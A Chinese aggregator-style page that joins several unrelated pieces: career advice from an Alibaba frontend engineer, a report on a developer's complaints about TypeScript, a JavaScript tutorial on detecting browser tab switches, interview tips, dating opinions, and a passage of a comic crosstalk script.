第三,关于技术深度。我经历过晋升失败,其中“技术深度不够”这句评语让我印象深刻。当时沟通完,走出会议室我低着头不停地问自己到底技术深度要深入到什么层度才算足够。作为前端,我们在公司更多的是写页面,实现UI的优化,提升页面的性能,即便我们做的产品非常成功,成功点在哪儿?可能是UI设计得漂亮,也可能是推荐算法精确,而前端的产出给产品带来了什么?阿里有健全的体系,有良师益友。离开了这个大平台,我能做什么?

我发展的三个阶段

入职阿里,经历不同的BU和部门,我一直在寻找职业发展的答案。

到目前为止,我把我的职业生涯分为三个阶段:一技之长,独立做事,寻找使命。


一技之长分为:栈内技术、栈外技术、工程经验、带人做事、业内影响。

第一阶段:一技之长


栈内技术

栈内技术是指你的专业领域技术,对于前端来说,就是那些我们熟悉的js等基础,深入了解我们的程序所运行的宿主环境——浏览器 or NODE,能了解v8运行时发生的一切。

前端没有秘密,所有可访问的页面都近似于开源,所以检验栈内技术的标准就是看你是否能最终形成技术上的“白眼”——看到任何前端产品都有看穿它的自信。栈内技术是安身立命的根本,不要轻易“换方向”。


始终不要放弃作为前端的一技之长。遇到一些前端同学工作几年以后前端做得比较熟了,考虑转到其他岗位,去做音视频技术,或者跨度更大的去做产品,运营。但我想说,当你转行那一刻起,就把要转的领域变成你新的“栈内技术”,然后重新走一遍技术沉淀的过程,匆匆几年又过去了。

前端是可以长时间坚持的领域,现在新型的软件生态,例如web3,以太坊,都会首先瞄准JS开发者,因为有庞大的开发者群体,工具链也比较完善,所以长期坚持从事前端工作,在可预见的未来都不会“过时”。


栈外技术

栈外技术是指栈内技术的上下游,领域外的相关专业知识,包括但不限于服务端技术、运维、CDN、测试,甚至UI设计、产品设计等等。扩展你栈内技术的周围领域,充分理解你的工作在整个技术研发体系中处于怎样的环节。工作之余多投入一份精力,把其他栈外技术不断纳入到你的知识体系中来,建立栈外能力。

前端想要做得深入,往往会涉及到服务端、网络、机器学习、用户体验等知识,没有足够的栈外技术积累,你很难为自己的团队争取到足够的话语权。


工程经验

工程经验是指建设专业技术体系的“解决方案”。通俗说,就是做事的方法论,掌握从0到1,1到60,甚至60到100分阶段建设专业技术体系的过程。

工程经验涉及到技术选型、架构设计、性能优化,CI/CD,日志监控、系统测试等,这些是跟工程相关的方法论。

很多同学会说,没有时间去研究新技术,那么多反问一下自己,为什么没有在自己的业务上争取新技术落地。


很多的工程师没有总结自己工程经验的能力,特别是在做业务多年之后,觉得技术能力一直在倒退。决定你比别人更有专业价值的,是领域工程经验。你看过再多的文章,如果没真正实操都不能称之为“掌握”。所以我建议要想掌握足够丰富的工程经验,需要在业务中多争取实践的机会。


带人做事

带人做事之前三项都是个人专业技能方面的深度要求,带人做事是对团队协作能力的要求。我第一次带师弟的时候经常有这种感觉:需要多次沟通需求,对焦技术方案。我跟他沟通花的时间都能把代码写好了。

带人做事,是把自己擅长的事情,沉淀下来的思考方式传递给他人,实现1+1>2的生产力提升,让整个团队的产出高于自己。

这个阶段大家要特别注意“管”与“带”的区别。以我的愚见:所谓“管”是我不懂某个领域,但我知道你懂,所以我安排你去做;而“带”则是"我特别懂这个领域,我知道你不懂,我会教你做得更好",有点授之以渔,成就他人的意思。带好一个人或者带起一支有战斗力的团队,是做人做事成熟的表现。


这两年我也在思考如何能激发他人的能力。我想起我的老板们及和我1v1沟通的同事们对我的帮助,他们都非常善于用反问来引导我。提问的深度特别能体现一个人的能力水平,任何用于提要求的陈述句,都能转换成疑问句,在启发萌新的过程中植入对结果的约束。

当你让一个人做A的时候,他提出了方案B。你不要强行扭转对方的思路提出A,因为对于新人来讲,或许确实不能一步到位理解A方案,在他的能力约束下,只能想到B。要尽量尝试把A和B之间有差异的地方转换成提问,你问他遇到这个问题怎么解决,遇到那个问题怎么解决,一直问到形成A,他会带着思考去做事情。如果没有这个过程,没有让他思维演化的过程,虽然他收到了A的指令,但是他不理解,他会用别的方式做出来,最后得出来一个C,然后你又重构一遍,陷入一个怪圈不能自拔,这就是我以前的误区,

所以我现在特别注重提问的艺术。但是一切的前提是:你需要对事情有好的认知。按照张一鸣的观点就是:对一件事情认知决定了一件事情的高度。


业内发声

如果你前面做得非常好,那把自己的工作经验总结对外发布,与他人交流,碰撞思想,看到更高的山峰,然后修正自己的想法,日益完善,是能走得更远的一种方式。

有的时候需要把自己的思想放到业界的层面验证,大家好才是真的好。如果别人不认可你的这套思路,基本上你也可以判定自己没有达到一个更高的水平。

对外分享的目的不是为了show quali,而是为了听取别人的意见,达到自我成长。永远不要放弃一技之长,没有所谓的转行或者转型,永远坚持你最初的领域,扩充你的外延,最终达成比较全面的能力,坚持是成功ROI最高的一种方式。


第二阶段:独立做事

第二个阶段是独立做事,也是我这一两年的命题。在我不断试错的过程中,我把他分为了:独立交付,独立带人,独立带团队,独立做业务,独立活下来。独立不等于独自,独立是指今天公司给你配套的资源,你能完成公司给你的项目,且拿下好结果,俗称“带团队”。


独立交付

独立交付是指给你一个项目能自己完成推进且上线,不让别人给你擦屁股就可以了。更加强调整体项目管理上的能力,拿结果的能力。


独立带人/带团队

进入到独立带人/带团队这个阶段,要关注的更多,整个团队的氛围、工作效率,运用你一技之长的工程经验带领团队高效优质的产出成果,实现1+1>2。做好团队的两张大图,业务大图&技术大图。让团队的同学知道自身的发展主线。工作开心了,团队稳定性才高。


独立做业务&独立生存

团队稳定之后,开始关注所做的业务,行业的发展,理解你的用户,他们是谁,他们在哪,他们为什么使用你的产品,为团队指引下一步的产研方向。最高境界就是能带领一群人养活自己,独立生存下来。这里面至少要有商业眼光,深知你所处的行业的商业玩法,还要能玩得转。如果能很好的解决这个问题,我相信各位都混的挺好的。


独立做事每个阶段,都是一次比较大的跨越,需要思想和多种软素质发生较大的变化,抛开技术人的身份不讲,独立做事的几个阶段,也是一个人逐渐成熟的过程。如果有扎实的一技之长,又能独立活下来,我肤浅的认为程序员35的危机应该不再有。


第三阶段:寻找使命

寻找使命,实现自我价值。是创业还是跳槽?是要生活还是工作?该如何平衡?我现在还是云里雾里的,还在探索,留一个开放的问题让感兴趣的同学讨论。


最后用莫泊桑的话来结尾:“生活不可能像你想象得那么好,但也不会像你想象得那么糟。我觉得人的脆弱和坚强都超乎自己的想象。有时,我可能脆弱得一句话就泪流满面,有时,也发现自己咬着牙走了很长的路”。在这里工作就是这样,但我坚信明天会更好。


作者:阿里巴巴大淘宝技术
来源:juejin.cn/post/7132745736696889351

收起阅读 »

TypeScript遭库开发者嫌弃:类型简直是万恶之源

web
类型白白耗费了太多宝贵时间。在今年《2022 前端开发者现状报告》中显示, 84% 受访者表示使用过 TypeScript,可见这门语言已被越来越多的前端开发者所接受。他们表示,TypeScript 让 Web 开发变得轻松——不用在 IDE 和浏览器之间来回...
继续阅读 »

类型白白耗费了太多宝贵时间。

在今年《2022 前端开发者现状报告》中显示, 84% 受访者表示使用过 TypeScript,可见这门语言已被越来越多的前端开发者所接受。他们表示,TypeScript 让 Web 开发变得轻松——不用在 IDE 和浏览器之间来回多次切换,来猜测为什么“undefined is not a function”。

然而,本周 redux-saga 的工程师 Eric Bower 却在一篇博客中提出了不同意见,他站在库开发者的角度,直言“我很讨厌 TypeScript”,并列举了五点理由。这篇博客发布后,随即引发了赞同者和反对者的激烈讨论,其中,反对者主要认为文中的几点理由只能作为开发人员的意见,而且并没有提供证明实质性问题的具体例子。



redux-saga 是一个 库(Library),具体来说,大部分情况下,它是以 Redux 中间件的形式而存在,主要是为了更优雅地管理 Redux 应用程序中的副作用(Side Effects)。

以下为 Eric 原文译文:

作为端开发者,其实我挺喜欢 TypeScript,它大大削减了手动编写自动化测试的需求,把劳动力解放出来投入到更能创造价值的地方。总之,任何能弱化自动化测试工作量的技术,都是对生产力的巨大提升。

但从库开发的角度来看,我又很讨厌 TypeScript。它烦人的地方很多,但归根结底,TypeScript 的原罪就是降低库开发者的工作效率。从本质上讲,TypeScript 就是把复杂性从端开发者那转移给了库开发者,最终显著增加了库开发流程侧的工作负担。

说明文档

端开发者可太幸福了,TypeScript 给他们准备了完备的说明文档和博文资料。但在库开发者这边,可用的素材却很少。我能找到的最接近库开发需求的内容,主要集中在类型操作上面。

这就让人有种强烈的感觉,TypeScript 团队觉得库开发者和端开发者并没什么区别。当然有区别,而且很大!

为什么 TypeScript 的网站上没有写给库开发者的指南?怎么就不能给库开发者准备一份推荐工具清单?

很多朋友可能想象不到,为了在 Web 应用和库中找到“恰如其分”的类型,我们得经历怎样的前列。对端开发者来说,Web 应用开发基本不涉及条件类型、类型运算符和重载之类的构造。

但库开发者却经常跟这些东西打交道,因为这些构造高度动态,会把逻辑嵌入到类型当中。这就让 TypeScript 调度起来令人头痛万分。

调试难题

库开发者是怎么对高度动态、大量使用的条件类型和重载做调试的?基本就是硬着头皮蛮干,祈祷能顺利跑通。唯一指望得上的,就是 TypeScript 编辑器和开发者自己的知识储备。换个类型,再看看最终结果,如此循环往复。据我所知,大家似乎都是在跟着感觉走,并没有任何稳定可靠的科学方法。

对了,库开发者经常会用到 TypeScript playground,用来隔离掉类型逻辑中那些离散的部分,借此找出 TypeScript 解析为某种类型的原因。Playground 还能帮助我们轻松切换 TypeScript 的版本和配置。

但这还不够,远远不够。我们需要更称手的生产工具。

太过复杂

我跟 redux 打过不少交道,redux-toolkit 确实是个很棒的库,开发者可以用它查看实际代码库中的类型是如何正确完成的。而问题在于,虽然它能把类型搞得很清楚,但复杂度也同样惊人。

  1. createAction #1

  2. createAction #2

这还只是一例,代码库中充斥着更多复杂的类型。此外,大家还要考虑到类型和实际代码数量。纯从演示出发、忽略掉导入的代码,该文件中只有约 10% 的代码(在全部 330 行中只占 35 行)能被转译成 JavaScript。

编码指南经常建议开发者不要使用嵌套三元组。但在 TypeScript 中,嵌套三元组成了根据其他类型缩减类型范围的唯一方法。是不是闹呢……

测 试

因为可以从其他类型生成类型,而且各类型都有很高的动态特性,所以任何生产级别的 TypeScript 项目都得经历专门的一类测试:类型测试。而且单纯对最新版本的 TypeScript 编译器进行类型测试还不够,必须针对以往的各个版本全部测试。

这种新的测试形式才刚刚起步,可用工具少得可怜,而且相当一部分要么被放弃了、要么只保持着最基本的维护。我之前用过的库有:

  1. DefinitelyTyped-tools

  2. sd

  3. dtslint (moved)

  4. typings-checker (deprecated)

看得出来,类型测试工具的流失率很高。而且因为难以迁移,我有些项目直到现在还在使用早就被弃用的库。

当然,其中的 dtslint 和 tsd 算是相对靠谱,但它们互为补充、而非择一即可。为什么我们需要两款工具才能完成同一类工作?这个问题很难回答,实际使用体验也是相当难受。

维 护

类型会给库添加大量代码。在初次为某个项目做贡献时,首先需要了解应用程序逻辑和类型逻辑,这直接就让很多打算参与的朋友望而却步了。我就帮忙维护过 redux-saga,项目近期发布的 PR 和 issue 主要就集中在类型身上。

我发现相较于编写库代码,我花在类型调整上的时间要多得多。

我精通 TypeScript,但还没到专家那个水平。在经历了几年的 TypeScript 编程之后,作为一名库开发者,我还是觉得自己用不明白 TypeScript。所以,精通好像成了 TypeScript 的准入门槛。这里的万恶之源就是类型,它让 js 库维护变得困难重重,断绝了后续开发者的贡献参与通道。

总 结

我认可 TypeScript 的成绩,也钦佩它背后的开发团队。TypeScript 的出现彻底改变了前端开发的格局,任何人都不能忽视这份贡献。

但作为库开发者,我们需要:

  1. 更好的说明文档。

  2. 更好的工具。

  3. 更易用的 tsc。

不管怎么说,靠研究 TypeScript 编译器源代码才能搞清楚一段代码为什么会被解析成特定类型,也实在是太离谱了。

原文链接:

https://erock.prose.sh/typescript-terrible-for-library-developers

收起阅读 »

监听浏览器切屏功能实现

前言由于在公司大部分时间都是在做考试系统,监听用户在考试期间的切屏操作并上报是比较常见的需求,本文主要是是实现这个需求并做个总结,下面就是我当初实现此需求的思路历程,希望能够帮到各位。文中的代码片段在后面可以直接在线预览第一版实现需求经过在网上搜寻一堆资料,首...
继续阅读 »

前言

由于在公司大部分时间都是在做考试系统,监听用户在考试期间的切屏操作并上报是比较常见的需求,本文主要是是实现这个需求并做个总结,下面就是我当初实现此需求的思路历程,希望能够帮到各位。

文中的代码片段在后面可以直接在线预览

第一版实现需求

经过在网上搜寻一堆资料,首先我们可以先看到 visibilitychange 这个 API,在 MDN 中给它的定义是:当其选项卡的内容变得可见或被隐藏时,会在文档上触发 **visibilitychange**(能见度变更)事件。
划重点❗ :选项卡
仔细一想,欸!这不就是我们想要的功能,下面就开始愉快的敲代码吧。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<script>
let pageSwitchRecord = [];
let ul = document.createElement('ul');

document.addEventListener('visibilitychange', function () {
if (document.hidden) {
document.title = '用户切屏啦';

let record = {
time: new Date().getTime(),
type: 'leave'
};

// 这里可以根据自己项目的需求进行自定义操作,例如上报后台、提示用户等等

let li = document.createElement('li');
li.className = 'leave'
li.innerText = `用户在${record.time}切走了`;
ul.appendChild(li);

pageSwitchRecord.push(record);
} else {
document.title = '用户回来啦';

let record = {
time: new Date().getTime(),
type: 'enter'
};

// 这里可以根据自己项目的需求进行自定义操作

let li = document.createElement('li');
li.className = 'enter'
li.innerText = `用户在${record.time}回来了,耗时${record.time - pageSwitchRecord[pageSwitchRecord.length - 1].time}ms`;
ul.appendChild(li);

pageSwitchRecord.push(record);
}
document.body.appendChild(ul);
});
</script>
<body></body>
</html>

以上就是根据 visibitychange 完成的第一版简易监听浏览器切屏功能。
就是在自测过程我们就能发现这方法也不能监听所有的浏览器切屏事件啊,就像下面两种情况

  • 直接使用 ALT+TAB 键切换不同的应用时并不会触发上面的方法;
  • 打开浏览器调试面板后,在调试面板中进行任意操作也是不会触发上的方法。
这里就要回到上面👆划的重点——选项卡,也就是说这个 API 只能监听到浏览器标签页的可见状态是否发生变化,当整个浏览器切入后台时也并不会触发,当然在标签页的调试面板里的任意操作可不会监听到,因为本质上标签页的可见状态并没有发上变化。
使用 visibilitychange 时需要注意的点❗ :
  • 微信内置的浏览器因为没有标签,所以不会触发该事件
  • 手机端直接回到桌面,也不会触发该事件
  • PC端浏览器失去焦点不会触发该事件,但是最小化或回到桌面会触发

第二版实现需求

这一版的实现就是我目前项目中使用的方案,当元素得到焦点和失去焦点都会触发 focus 和 blur 事件,那么可不可以直接给 window 加上这两个事件的监听器呢?话不多说,直接开始试试吧。

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<script>
let pageSwitchRecord = [];
let ul = document.createElement('ul');

const leave = () => {
document.title = '用户切屏啦';

let record = {
time: new Date().getTime(),
type: 'leave'
};

// 这里可以根据自己项目的需求进行自定义操作,例如上报后台、提示用户等等

let li = document.createElement('li');
li.className = 'leave';
li.innerText = `用户在${record.time}切走了`;
ul.appendChild(li);

pageSwitchRecord.push(record);

document.body.appendChild(ul);
};

const enter = () => {
document.title = '用户回来啦';

let record = {
time: new Date().getTime(),
type: 'enter'
};

// 这里可以根据自己项目的需求进行自定义操作

let li = document.createElement('li');
li.className = 'enter';
li.innerText = `用户在${record.time}回来了,耗时${
record.time - pageSwitchRecord[pageSwitchRecord.length - 1].time
}ms`;
ul.appendChild(li);

pageSwitchRecord.push(record);
document.body.appendChild(ul);
};

window.addEventListener('blur', leave);
window.addEventListener('focus', enter);
</script>
<body></body>
</html>

上面就是第二版实现需求的完整代码,可以看到处理用户切屏的逻辑都是一样的,区别在于监听浏览器切屏的方法,第二种采用的是监听 blur 和 focus 这两个事件去相互配合实现的。

预览

第一种方案



补充

第二种相较于第一种实现方式有更加灵敏的监听,但是有可能在部分使用场景下会误触,为了保持准确性可以第一种和第二种方案配合使用
使用 visibilitychange 时,为了保证兼容性,请使用 document.addEventListener 来注册回调,




链接:https://juejin.cn/post/7135355487955976223


收起阅读 »

那些HR不会告诉你的面试“潜规则”

从公司的角度来说,总会有一些不会明确表达的“潜规则”,因此,提前知道有助于我们通过面试。简历筛选,关键词很重要HR是用关键词做简历筛选的,如果你的简历含有这些词,就更加容易被搜索到,得到更多曝光机会。比如运营岗,有些公司直接叫做运营,还有些公司叫做“企划”“策...
继续阅读 »

今年的金三银四虽较之往年有些暗淡,但是也不乏一些小伙伴迎难而上,寻求新机遇,尝试跳槽,并得到几家意向公司的面试机会。机会难得,面试时更要好好把握。

从公司的角度来说,总会有一些不会明确表达的“潜规则”,因此,提前知道有助于我们通过面试。



简历筛选,关键词很重要


HR是用关键词做简历筛选的,如果你的简历含有这些词,就更加容易被搜索到,得到更多曝光机会。


比如运营岗,有些公司直接叫做运营,还有些公司叫做“企划”“策划”“督导”等等,不管你的职位在公司内部被怎么定义,简历里,你最好使用通用名称,并且在工作描述时,多使用相关描述的词。


销售岗是一般公司招聘最多的职位,有经验的HR不仅仅使用“销售”这个词搜索简历,还会使用“销售专员”、“销售助理”、“销售主管”、“营销经理”、“销售顾问”等词扩大搜索范围。


而在简历描述中,包含“有销售经验”、“有强烈赚钱欲望”、“乐观外向学习力强”等符合职位要求的词语,更容易通过筛选。


大部分人的简历,要么过于简单,要么长篇大论、没有重点的,非常关注的信息一定要在简历中写清楚,比如双休、五险一金、不接受晚班、薪资要求范围等,最好直接在简历中写明白,避免接到许多不合适公司的电话。尤其是个人居住小区最好也在简历中标注出来,写在能接受的工作范围内,因为某些区域的范围是很大的,如果直接写能接受的范围,可能出现以下状况:距离太远,或者虽然不远却需要转车,这就浪费了双方的时间,还有可能使你错过附近的好公司。


而HR一般都会看一下求职者的距离,尽量邀请通勤时间在一定时间内的求职者,同样的条件下优先选择住在附近的,因此,明确的居住地址有利于双方节省时间。


综合以上,HR还倾向于重点关注自己筛选出来的简历,而不是投递的简历,正像一个道理说的那样:“你若盛开,清风自来”,用你的优秀简历吸引HR,比主动投递简历更有效果。






电话沟通“三要三不要”


当简历通过筛选以后,你将会接到大致符合你要求的公司电话,如何沟通更有效?


三要


首先要了解对方公司招聘的岗位,避免一些不负责任的HR给你推荐不合适的工作。比如你想求职设计经理,对方却给你推荐项目经理,因为岗位内容有一部分交叉,对方就以为你会感兴趣,而你一通介绍之后,才发现双方根本不合适,既浪费时间又非常尴尬。


了解到是你感兴趣的岗位以后,你要再次确认一下这个岗位的要求,避免白跑一趟。你可以说“相信贵公司已经看过我的简历了,我真的符合贵公司的要求吗?比如性别年龄学历这些”,有些岗位是有性别要求的,比如一般人认为行政都要女性,有些公司却只招男性,因为业务原因,偶尔需要行政干一些体力活,如果招女孩子就不合适了。而某些求职者的名字看不出性别。


最后要简单的介绍一下自己及过往工作经历,重点表达你与这个岗位匹配的地方,你的优势,以及你对这个岗位感兴趣,如:有过相应的管理经验,你是一个熟悉财务知识的销售。表达你的兴趣,是释放“有机会进一步发展”的电波,让对方“吃下定心丸”,从而进一步得到面试邀请。


三不要


电话沟通时,最好不要问详细的薪资数目,因为很多岗位是根据面试者的能力面议薪资的,问也只能得到一个范围的回答,而对方看过你的薪资要求后,还联系你,就说明薪资范围是符合你的要求的,多此一问反而显得你太看重钱,虽说找工作就是为了钱,但是说出来就拉低你的层次了。


也不要问特别详细的工作内容,不一定非得一听就会,到了公司边看边做不是什么难事,电话里抠细节会让人觉得你能力一般,没自信。


最后一个要避免问的,就是公司一年能做多少业务、赚多少钱,我真的遇到过问这种问题的憨憨,我只能说“不好意思,这是公司机密,我不方便告诉你”。


以上三个问题,不是不该问,而是不要在电话里问,要么得不到明确的回复,要么三言两语说不清楚,到了面试现场环节,再详细沟通即可。





面试时大方得体的表达自己


收到面试邀请后,看一下公司地址,提前规划好路线和出发时间,比预约时间提前5-10分钟到达即可。


到得太早,会给对方留下你过于急切和很想得到这个机会的印象,从而怀疑你的能力。


觉得优秀的人有很多机会的,能力一般的人才会过于重视每一次邀请,这就是人性。


到得太晚,对方又会认为你不重视承诺、没有时间意识。


两者都需要避免。


到达面试现场后,就是正常的面试流程,无需多说。需要注意的是,表现要大方得体,不要紧张,声音不要太低,如果面对以后的同事你都是如此“不专业”,不免让人担心你往后的工作表现,从而不敢把这份工作交给你。




等待结果时积极行动


在等待结果的时候,也并非什么都不能做,可以跟联系的人事提一个简单而无伤大雅的问题,善于沟通在哪里都是加分项,而且会使对方尽快回复你面试结果。


想一想“富兰克林”效应你就明白了,帮助过你的人会再次帮助你,跟你有过联系的人也会倾向于第一个联系你。


掌握以上4个面试“潜规则”,就能帮助你更快找到工作。


作者丨轻舞飞莹

编辑丨职伴君

收起阅读 »

我,研究生,绝不和普通本科生谈恋爱。

和身边一位朋友聊天时,她说:无论怎么样,一定要找个学历和自己差不多的男朋友,不然都没有共同语言。这让我想起了“门当户对”四个字,如果是你的话,会和学历比自己低的人谈恋爱吗?开动君在和几个人聊了之后,他们是这样回答的:小A同学:我是一个本科,对象是211硕士。学...
继续阅读 »
和身边一位朋友聊天时,她说:无论怎么样,一定要找个学历和自己差不多的男朋友,不然都没有共同语言。

这让我想起了“门当户对”四个字,如果是你的话,会和学历比自己低的人谈恋爱吗?

开动君在和几个人聊了之后,他们是这样回答的:


小A同学:

我是一个本科,对象是211硕士。学的同一个专业。我一直没有放弃,毕业后我边工作边学习一年考研。跟她同在一个实验室,她是我的师姐了。


小B同学:

不是攻击性的,只谈我个人经历,我在专科学校上了三个月,然后因为他的学校氛围和一些学生素质以及个人的原因选择了复读。说句可能会被骂的话,感觉可能都没我高中好,哪个学历都会有优秀的人,同样也会有庸碌的人。但是,学历可能会真的大范围体现一个人的素质涵养。有不对的请指出,我的观点一句话:学历不是一刀切,但绝对是重要因素。


小C同学:

我,985硕士毕业,可以谈恋爱,不介意学历,只介意智商(非其他各种商)。而事实是,学历高的,确实智商高一些(不讨论个例)。


小D同学:

我是一个双非本科生。说一下我每天看到的双非本科生,周末舍友一觉睡到12点,每天除了游戏,就是直播,宿舍永远有扫不完的垃圾。我问唯一一个和我关系比较好的同学,你出了校门准备干嘛,他说:“现在想这个干嘛,到毕业再说么。”不得不说,这就是大部分人的状态。学校里有好学生吗?当然有,但是少的可怜。想找出一个有上进心的,愿意一起努力的另一半,说实话,真的很难。所以找一个普本生谈恋爱,请先确定他是否能对未来负得起责任,是否能和你共同进步,是否愿意为双方的未来做一定的规划。


小E同学:

普本生也确实有部分很优秀,这是不争的事实。但是毕竟是少数,研究生中堕落的也不少,但是有句话说得对,门当户对很重要,喜欢一个人,就要努力让自己配得上他(她),而不是自己成为累赘,所以,我还是会选择一个学历相近的,至少三观和看问题的角度层次相近的概率大一些。


小F同学:

我是普通本科生,身边的确有不计其数的人在荒废人生,学习的人不多,我只能靠自己,一步一步成长,我现在是专业第一,我相信很多本科的学生没有我努力,我比你们强。我靠本事吃饭,我不堕落,我知道自己想要什么。


小G同学:

16年,我还是一个专科生,喜欢一个985的博士,但是他不喜欢我。今年9月,我研一,还是喜欢那个985的博士,他依然不喜欢我。


小H同学:

我读211硕士,正准备读博,男朋友普本毕业创业受挫,说多了,他自己也烦,不说他,感觉他总是在空空计划没有让我看到什么行动,以前他跟我讲未来我都会觉得很幸福,现在他跟我讲未来我真的觉得是胡扯,经济基础决定上层建筑,在拼命奔跑的日子里难道要让其他强者等他么?唉   不思进取,失望攒够了我也会离开。


小I同学:

我是一名普本生,学校的奖学金我都拿到了,还有国家励志奖学金和国家奖学金,英语四六级还有国家计算机二级VFP也过了,普通话二甲,自学了日语和韩语,还有营销师和人力资源管理。


小J同学:

不是想说明我多优秀,只是因为普本生中确实也有个例。而我男友高中都没毕业。


小K同学:

他现在做销售一个月平常税后六七千,好的时候一万多,我平均一个月1.2万这样子,但是他一直在努力。好的爱情不分学历和背景,关键在于你是否爱他,他是否愿意为了你去改变!


小L同学:

男朋友985硕士,我本科。我们家庭条件都很一般,谈了两年半了,我也在今年考了研究生,真的很苦,但是好在是成功了,男朋友也在考博,只能说互相鼓励,站在对方角度考虑,为了共同的目的去努力,毕竟站得更高看得更远,想要的东西也不一样。我觉得感情是两个人在一起的舒服感,无关其他的。只要两个感情到位了,什么都可以克服,能一起奋斗就好。


小N同学:

我本科,老公博士毕业,在研究所上班。一见钟情的时候谁也不知道对方是王者还是青铜,决定在一起以后 我承认老公的自律的确影响了我,每天回家不再是看剧玩手机干一些有的没的事,而是他学习的时候我看书,对的人就是一起让对方变得更加优秀,而不是单纯的一个人为了另一个人去改变,好的爱情是互相扶持共同进步一起成长。



【写在最后】


总结一句话:不怕学历不同,只是怕价值观不同。


一个人的人品、性格、上进心、责任心、价值观,这些才是需要我们仔细考虑的重要因素。


而学历上的差距也不是不能去弥补。


在如今这个时代,有那么多的通道给你提高学历:可以专插本,可以考研究生,再不济,可以上一节网课,把自己的知识丰富起来,到那时,两人自然而然又能回到同一起跑线上了。


可是那很辛苦,得看书,得努力。


那些因为学历分手的感情,可能不是低学历毁了你的爱情,而是你不愿意去争取这段爱情的态度,决定了分手的结局。


而面对学历上的差距,也许很多人歧视的不是这份文凭。而是那些明知道自己起点低,却安于现状,抱着“我弱我有理,你看不起我就是你不对”的想法,消极生活的人。


所以,为了爱情,更是为了自己的未来,我们至少要去努力试一试。


努力去做一个有选择权的人,而不是在一段关系里被挑来挑去。


来自开动君。
收起阅读 »

相声:《我是大文豪》

相声:《我是大文豪》表演者:郭德纲/于谦(郭、于上台,众人鼓掌)郭:谢谢大伙儿于:哎郭:大伙儿这么捧,我打心里高兴于:是啊,支持相声嘛郭:我内心也是替这门濒临结扎的艺术,感到欣慰于:您先等会吧郭:怎么了?于:什么叫濒临结扎啊郭:那不经常有个词儿嘛,形容你们这个...
继续阅读 »

相声:《我是大文豪》

表演者:郭德纲/于谦

(郭、于上台,众人鼓掌)

郭:谢谢大伙儿

于:哎

郭:大伙儿这么捧,我打心里高兴

于:是啊,支持相声嘛

郭:我内心也是替这门濒临结扎的艺术,感到欣慰

于:您先等会吧

郭:怎么了?

于:什么叫濒临结扎啊

郭:那不经常有个词儿嘛,形容你们这个艺术正在风雨飘摇

于:那叫濒临失传!

郭:那不一样嘛!

于:不一样!我们这个不上环儿!

郭:什么意思!

于:还什么意思呢!再说了,我们相声有什么濒临失传的,这兴旺着呢!

郭:相比而言嘛,相比我从事的行业,相声太弱了

于:您是什么职业啊?

郭:我的职业是一名文豪

于:没听说过!人都是自称是作家,哪有自称是文豪的

郭:没有吗?

于:您见哪个洗头房的小姐自称职业是花魁的?

郭:那上次那女的这么说合着是骗我!

于:那也是您总去!

郭:算了不提这个了

于:是您也得敢提啊

郭:反正我作为一名文豪,著作等身

于:您写过什么作品?

郭:我爸爸是北京一老作家....

于:我是问您写过什么作品,您扯您爸爸干什么啊

郭:我爸爸那书写的哦,那个好,你不知道,这边看我爸爸的书,那边你媳妇跟人睡觉,你都不着急拦!

于:您有病吧?我问的是您,不是您爸爸

郭:没有天哪有地,没有我爸爸哪有我?没有我哪有你?

于:没有您也有我!

郭:哦那就没有我儿子哪有你?!

于:得,这辈儿下的更快了,那您就说您爸爸

郭:还是的嘛,人活一世最重要的就是孝顺,我不提我爸爸我还是人么!

于:反正瞧您这做派倒不老像人的

郭:你这就是嫉妒!你嫉妒我的书香门第!我爸爸本来是通县一掏大粪的啊...

于:这还书香门第啊!

郭:你听我讲啊!本来是掏大粪的,后来改了

于:改卖农家肥了?

郭:你是人不是?我告诉你我今天手上没带着枪,要不我一刀捅死你!

于:得,您继续说

郭:我爸爸在经历了文革的动乱以后,站出来写了一篇发人深省的小说,一举成名!

于:哦?那听着倒是挺厉害,怎么写的?

郭:就写啊,我爸爸本来品学兼优,就是被四人帮暗害了,导致没考上大学,才小学二年级就被政治迫害辍学了

于:那就跟四人帮一点儿关系没有!就是你爸爸自己不念了!

郭:你还有没有点人性?本来我爸是个清华大学的苗子,被时代耽误了!这是一场浩劫下的惨剧啊!

于:您不要脸这劲儿倒是随您爸爸

郭:你什么意思?你的意思是四人帮是好人,你要替他们翻案是不是?!

于:您甭扣帽子,我不觉得他们是好人,但您爸爸这事儿完全挨不上!

郭:反正我爸爸这篇小说一发表,哎呀整个文坛轰动啊,专家们都说,这是当代文学的代表佳作啊!

于:嗯,专家也是没见过什么好东西

郭:这篇小说算是我爸爸的自传,也奠定了我爸爸的文坛地位

于:说这么热闹,这自传小说叫什么名啊?

郭:《废物》

于:嗯,您爸爸这点上倒是挺实惠

郭:这篇《废物》一出,马上在世界文学界都得到了很大的声望,还得了国际大奖呢!

于:什么国际大奖啊?

郭:梵蒂冈佛学研究会文学进步一等奖!

于:都梵蒂冈了还佛学研究会!这奖水的也够模样了

郭:从此我爸爸就是文坛名人了,陆续出版了很多好书

于:都有什么啊?

郭:讲邻居家搞破鞋的,讲亲戚媳妇儿跟人偷情的,讲农村妇女找姘子的....

于:这不都是一回事吗?!这还用拆成好几本书讲啊!

郭:你懂什么?不同的地区这个婚外恋的状态是不一样的,床上都怎么称呼,私下里遇到本家儿了挨打怎么跑,这你都懂吗?

于:不懂,但这么一看您爸爸对这事儿研究够深的

郭:那是,我爸爸为此去各地采风,也因此成为了伤痕文学的代表人物

于:这跟伤痕文学有什么关系?

郭:一身是伤啊,肩膀上、腿上、脸上,那上次还有个农村老爷们拿个铁锹在他脑袋上拍出个疤呢,跟我父亲说,小贼,再让我看见你跟我媳妇儿不清不楚,爷爷我一铁锹拍死你!

于:哦这么个伤痕啊!那就是搞破鞋让人本家儿打了!

郭:之后我父亲又成为了我们当地的破协..哦不,作协主席

于:得,险些把实话说出来了

郭:你就说吧,我爸爸这个资历,我凭什么不是文豪?

于:这是您爸爸的成就,跟您在文学领域怎么着也没关系啊

郭:我爸爸给我提供了无数写作的素材啊!

于:什么素材?

郭:我迄今为止吧,出版了七本书,怎么样,厉害吧?

于:那倒是不少。都什么书啊?

